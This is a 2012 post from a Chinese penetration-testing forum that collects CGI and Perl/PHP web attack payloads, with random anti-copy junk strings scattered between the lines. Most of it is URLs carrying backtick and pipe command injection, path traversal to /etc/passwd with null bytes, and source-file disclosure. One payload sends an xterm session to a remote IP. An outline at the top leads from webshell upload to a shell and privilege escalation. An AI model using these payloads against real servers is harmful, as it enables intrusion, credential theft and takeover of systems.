中国网络渗透测试联盟
标题:
CGI资料整理
[打印本页]
作者:
admin
时间:
2012-9-13 16:56
标题:
CGI资料整理
总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
, `" R8 {0 p4 @# ?
cookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权
% x0 R1 g7 _8 P4 x/ i% d0 f
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们
2 {7 P) m: M' F5 w
注“
( q9 w, ^; ~; S1 ~2 `2 t
perl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。
4 t/ x A2 N0 c
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
1 h `* R6 l1 _" P5 q
( ?; |" {& B* ^* X1 _& D' x
http://target.com/cgi-bin/home/news/sub.pl?12
随意构造
# s. w. B3 c9 t2 K
http://target.com/cgi-bin/home/news/sub.pl?&
换个字符,也许可以执行呢
3 g" @* s4 ]% y/ u: w
http://target.com/cgi-bin/home/news/sub.pl?`ls`
单引号
, N' P/ [& c' C$ M
http://target.com/cgi-bin/home/news/sub.pl?`id`
0 E! B' ]: q+ ?! p7 G9 M. e
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
7 i, J8 W4 d- s4 b
http://target.com/cgi-bin/home/news/sub.pl?`cat
<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示
3 y! I; y- z/ B# x: s# S3 ]
}7 i1 O/ v4 `6 ~6 b, u* G3 f
http://target.com/test.pl;ls
|
, C+ c4 K) j1 [
http://target.com/index.cgi?page=
|ls+-la+/%0aid%0awhich+xterm|
. J* E- D, h' h$ K- ]5 b" n
http://target.com/index.cgi?page=
|xterm+-isplay+10.0.1.21:0.0+%26|
+ W& q. o8 ?% z# S
http://target.com/test.pl?
’id’ 类似’’内的操作和命令执行自己构造
. b& } H; ~- m. B) Y/ {6 P
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
% R# T* B. _% _8 d3 p0 o
http://target.com/index.cgi?page=;dir+c:
\|&cid=03417 类似asp的Sql injection
+ Y8 y& ?% a8 |
7 C/ u- T1 l2 T
http://target.com/test.pl?&........
/../../etc/passwd
2 v/ a% V( x8 \
1 m4 V" n. m! e; B; Z( y# T
http://www.target.org/cgi-bin/cl
... info.pl?user=./test 前面加./
( |0 D4 i% s! X) @2 v
http://www.target.org/cgi-bin/cl
... nfo.pl?user=test%00 注意后面的 %00 别弄丢了
9 N" {* ?- S1 b8 h* Q4 Q5 U
http://www.target.org/cgi-bin/cl
... ../../etc/passwd%00
8 I* @2 e, |& o1 j8 s
/ _: F& B3 B5 H" |% c
http://www.target.org/show.php?f
... /include/config.php 查看php代码
, v, T& Z) g! h
http://www.target.org/show.php?f
... ng/admin/global.php
. r7 Z7 h, _; ?6 J+ U; L4 H
; N' K, T( ~" L2 p/ [( C) j7 d
emm和ps的一句话
7 B$ B- _! m/ N% Z5 N% W7 T, {; T1 Z
9 L6 D0 E3 s7 r8 \' Q$ A( u
http://www.target.org/cgi-bin/cl
... /../../../bin/ls%20
/ j' \: _; N7 [
x7 w( }0 e& c* A- O
>bbb%20|
$ Y4 I- e/ n5 u2 t9 `
+ r0 t& i- \" {% G6 G; v% Q5 t
http://www.target.org/cgi-bin/club/scripts
\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
6 l, f& M% | H7 A* {* x
8 F5 K. q5 a+ q0 P+ T3 m m
http://www.target.org/cgi-bin/cl
... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征
0 c9 [8 K) q& b6 B/ {
http://www.target.org/csapi/..%c0%afhttp/china.sh
”+.elf?”+&+ls+/bin
8 h9 ^6 R0 ]2 l- @; V$ P; A/ V7 [1 K
0 \, q6 Y; {# r. h, h
相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
9 f0 ~) G+ {& D5 `3 k5 R1 N
http://target.com/index.html#cmd.exe
: w2 m0 ~7 S& Y; |
http://target.com/index.html?dummyparam=xp_cmdshell
9 \$ J0 N% S0 x. o) `6 C
lynx
http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
, n( f( t9 R% Y5 L8 ^2 @' [7 ?2 P
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2